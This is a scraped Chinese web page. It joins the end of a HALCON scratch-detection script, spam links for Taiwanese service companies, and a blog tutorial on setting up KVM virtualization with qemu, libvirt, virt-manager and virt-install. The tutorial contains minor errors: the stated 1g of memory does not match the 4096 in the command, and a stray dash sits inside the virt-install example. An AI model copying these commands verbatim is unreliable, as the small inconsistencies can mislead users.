dev_set_draw ('margin')
dev_set_line_width (4)
dev_display (Image)
Message := 'This program shows the extraction of'
Message[1] := 'surface scratches via local thresholding'
Message[2] := 'and morphological post-processing'
disp_message (WindowID, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* 
* Step 2: Segment image
* 
* Using a local threshold
mean_image (Image, ImageMean, 7, 7)
dyn_threshold (Image, ImageMean, DarkPixels, 5, 'dark')
* 
* Extract connected components
connection (DarkPixels, ConnectedRegions)
dev_set_colored (12)
dev_display (Image)
dev_display (ConnectedRegions)
Message := 'Connected components after image segmentation'
Message[1] := 'using a local threshold.'
disp_message (WindowID, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* 
* Step 3: Process regions
* 
* Select large regions
select_shape (ConnectedRegions, SelectedRegions, 'area', 'and', 10, 1000)
dev_display (Image)
dev_display (SelectedRegions)
disp_message (WindowID, 'Large Regions', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowID, 'black', 'true')
stop ()
* 
* Visualize fractioned scratch
open_zoom_window (0, round(Width / 2), 2, 303, 137, 496, 3, WindowHandleZoom)
dev_set_color ('blue')
dev_display (Image)
dev_display (SelectedRegions)
set_display_font (WindowHandleZoom, 16, 'mono', 'true', 'false')
disp_message (WindowHandleZoom, 'Fractioned scratches', 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowHandleZoom, 'black', 'true')
stop ()
* 
* Merge fractioned scratches via morphology
union1 (SelectedRegions, RegionUnion)
dilation_circle (RegionUnion, RegionDilation, 3.5)
dev_display (Image)
dev_display (RegionDilation)
Message := 'Region of the scratches after dilation'
disp_message (WindowHandleZoom, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowHandleZoom, 'black', 'true')
stop ()
skeleton (RegionDilation, Skeleton)
connection (Skeleton, Errors)
dev_set_colored (12)
dev_display (Image)
dev_display (Errors)
Message := 'Fractioned scratches merged via morphology'
disp_message (WindowHandleZoom, Message, 'window', 12, 12, 'black', 'true')
disp_continue_message (WindowHandleZoom, 'black', 'true')
stop ()
* 
* Distinguish small and large scratches
close_zoom_window (WindowHandleZoom, Width, Height)
select_shape (Errors, Scratches, 'area', 'and', 50, 10000)
select_shape (Errors, Dots, 'area', 'and', 1, 50)
dev_display (Image)
dev_set_color ('red')
dev_display (Scratches)
dev_set_color ('blue')
dev_display (Dots)
Message := 'Extracted surface scratches'
Message[1] := 'Not categorized as scratches'
disp_message (WindowID, Message, 'window', 440, 310, ['red','blue'], 'true')

靈感來源於官方文檔

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角，別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

一文告訴你Linux如何配置KVM虛擬化–安裝篇

access_timePosted on by admin

KVM全稱”Kernel-based Virtual Machine”,即基於內核的虛擬機，在linux內啟用kvm需要硬件，內核和軟件(qemu)支持，這篇文章教你如何配置並安裝KVM虛擬機.

  • 檢查硬件和系統的兼容性

    • 檢查硬件虛擬化:LC_ALL=C lscpu | grep Virtualization
      這行代碼其中 LC_ALL=C為設置輸出語言用，lscpu輸出CPU信息，在輸出的CPU信息裏面查找“Virtualization”(虛擬化),輸出結果如果有”AMD-V”(AMD CPU) 或者”VT-X”(Intel CPU),則說明你的電腦硬件支持並且已開啟虛擬化，可以下一步
      那如果沒有显示以上兩種呢，就進入BIOS(或者UEFI)找到虛擬化/virtualization/VT-X/AMD-V一般來說是這四個名字裏面任意一個，當然，如果你的班子BIOS裏面是virtualization裏面有vt-x和vt-d兩個的話，就兩個都開。然後，理論上你就能繼續了，除非，你的硬件 根本不支持虛擬化(除非廠家手動閹割,現在一般不會有這問題,博主的本本一開始買來BIOS裏面就是沒有AMD-V的，後來就是靠BIOS更新加上的)。
      舉個例子：博主linux上的显示是:Virtualization: AMD-V則證明該電腦支持AMD 的虛擬化技術

    • 檢查系統是否支持lsmod | grep kvm
      這行代碼告訴你系統是否加載了KVM有關模塊，如果有輸出相關模塊，請看kvm配置，否則接着看kvm的安裝(kvm基於內核，需要內核模塊才能正常工作)

  • KVM 安裝過程
    KVM的依賴項除了內核和內核模塊主要有這些:firewalld(防火牆),dnsmasq,ebtables(網絡方面),libvirt(虛擬化接口),qemu(虛擬機本體)。另外，使用bridge-utils可以設置網卡橋接。
    知道了需要的包，安裝就好了.
    如果你的系統是Centos(RHEL/Fedora同理)你完全可以在安裝的時候就選擇虛擬化服務器的,如果要手動安裝，那麼需要跑這樣一條命令(CENTOS8/fedora可能需要把yum替換為dnf):
    sudo yum install -y virt-* libvirt bridge-utils qemu qemu-img qemu-kvm,需不需要操作selinux就看着辦，如果因為selinux的原因導致無法開機，那就改，沒問題就不需要動了(博主不是專業的運維。平時主玩ARCH，對這塊不是特別了解)

玩Ubuntu系列(ubuntu/deepin/mate/kali……)的同學安裝kvm的話也類似，不過這包名可能和上面有所不同，代碼如下：
sudo apt install qemu qemu-kvm libvirt-bin bridge-utils

Arch用戶
sudo pacman -S qemu libvirt ebtables dnsmasq firewalld bridge-utils

安裝完軟件包,接下來開啟防火牆和libvirt守護進程
sudo systemctl start firewalld && sudo systemctl start libvirtd需不需要enable看你們自己的需要，如果是虛擬化母機或者經常用到虛擬機的話，那麼建議enable，開機自動把虛擬化服務啟動。

講完了基礎安裝工作，剩下的就是你如何控制kvm的事情了。圖形化/命令行

圖形化控制KVM一般使用virt-manager(中文名:虛擬系統管理器),剩下的就是圖形化設置的工作了。

嗯，沒錯，就是這個東西，創建虛擬機的話，只需要點創建虛擬機按鈕就好了(就是圖上那個亮着的按鈕)。

然後，連接這裏選擇QEMU/KVM，就是使用KVM虛擬機創建.

    番外內容:[有的同學可能先裝了libvirt和virt-manager后裝qemu的，就會出現沒有連接或者連接裏面沒有KVM的，那麼，在確保kvm服務開啟的狀態下，點擊文件，添加連接。
        ![](https://img2020.cnblogs.com/blog/2045563/202006/2045563-20200625211926555-1690702968.png)
    出來這個頁面，這裏不用動，直接確定，不出意外，你就能導入KVM的連接了，需要知道的是，如果你之前使用virsh或者qemu命令行管理的話，你能夠在這裏導入kvm連接，但是，並不能接管原來創建的虛擬機。]

至於以何種方式創建虛擬機，就看你需要，不過一般使用第一項使用ISO安裝系統，如果你之前有kvm/qemu的磁盤鏡像(qcow2)，你也可以用第四個(導入現有磁盤鏡像).

這裏選擇需要使用的ISO鏡像文件.
點擊瀏覽彈出這個窗口

然後本地瀏覽選擇鏡像

選擇CPU/運行內存資源

然後創建虛擬硬盤，這裏如果你有現成的qcow2/row鏡像，你也可以直接拿來用。
番外內容：[需要注意這點:通過libvirt 創建qemu鏡像的大小是固定的，就是分多少它馬上就吃多少的，不像vmware這樣會動態擴展，當然，也可以實現，需要參考下面使用代碼創建虛擬機]
然後沒有什麼問題了，就直接點完成，開始安裝系統，安裝系統過程，這裏就不贅述了，至於基礎的管理工作，進去虛擬機的窗口，點擊那個管理按鈕，會進入類似於vmware虛擬機設置的頁面，在裏面可以進行操作(部分操作需要關機)。

下面是代碼創建虛擬機的介紹(高級玩法可能需要手動修改XML文件，這裏就暫時不介紹了)

  • 首先，你需要使用virsh這個命令來管理虛擬機，先創建存儲卷(磁盤鏡像)
    virsh vol-create-as poolname volumename 10GiB --format aw|bochs|raw|qcow|qcow2|vmdk
    一般QEMU/KVM支持的鏡像為qcow/qcow2/row
    或者使用qemu-img來創建鏡像
    敲黑板:qemu-img除了可以創建鏡像以外，也和virsh一樣支持鏡像修改，另外，qemu-img創建鏡像可以選擇預分配模式，從而解決上面使用圖形化鏡像過大的問題.
    qemu-img create -f 'qcow2' -o preallocation=off /home/udream/test.qcow2 10G 這樣就可以創建一個10G大小的，關閉預分配的qcow2鏡像，這個鏡像文件沒安裝系統之前的大小是192.2Kb,默認直接創建的大小為10G
    然後，有了磁盤鏡像，就可以創建虛擬機了
    舉例代碼如下:
             virt-install  \
  -        --name test \
           --memory 4096             \
           --vcpus=2,maxvcpus=4      \
           --cpu host                \
           --cdrom $HOME/test.iso \
           --disk  /home/udream/test.qcow2,size=10GiB  \
           --network user            \
           --virt-type kvm

這段代碼指定了虛擬機名字test，內存1g，CPU最少2核最大4核，安裝盤位置：$HOME/test.iso，盤的大小，網絡類型，虛擬化接口KVM，使用之前創建的虛擬盤 /home/udream/test.qcow2 大小 10G

  創建完成虛擬機以後使用```virsh start 虛擬機名字```啟動虛擬機
  關閉虛擬機把start改為shutdown，強制關機為destory,重啟是reboot
  管理虛擬網絡，使用virsh net-後面跟操作(start/destory/create……)
  當然，還有pool設置存儲池，vol設置存儲卷，snapshot設置快照，具體的，因為字數原因(怕某些同學太長不看)，就不一個個碼了，你可以敲virsh --help查看具體幫助信息，不過。這幾個最常用的也就是create/start/stop/destory/list了，
  這裏舉個例子，啟動虛擬網絡:```virsh net-start 虛擬網絡名``` 創建存儲池```virsh pool-create XML描述文件名```，其他的命令可以按照這樣的方式操作，下一篇是virsh命令的具體玩(配)法(制)介紹。

這次就講到這裏了，本次內容原創純手碼，部分命令為了確認正確性，參考了arch wiki，測試環境為ARCHLINUX 5.7.4-arch1-1 桌面環境kde plasma。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!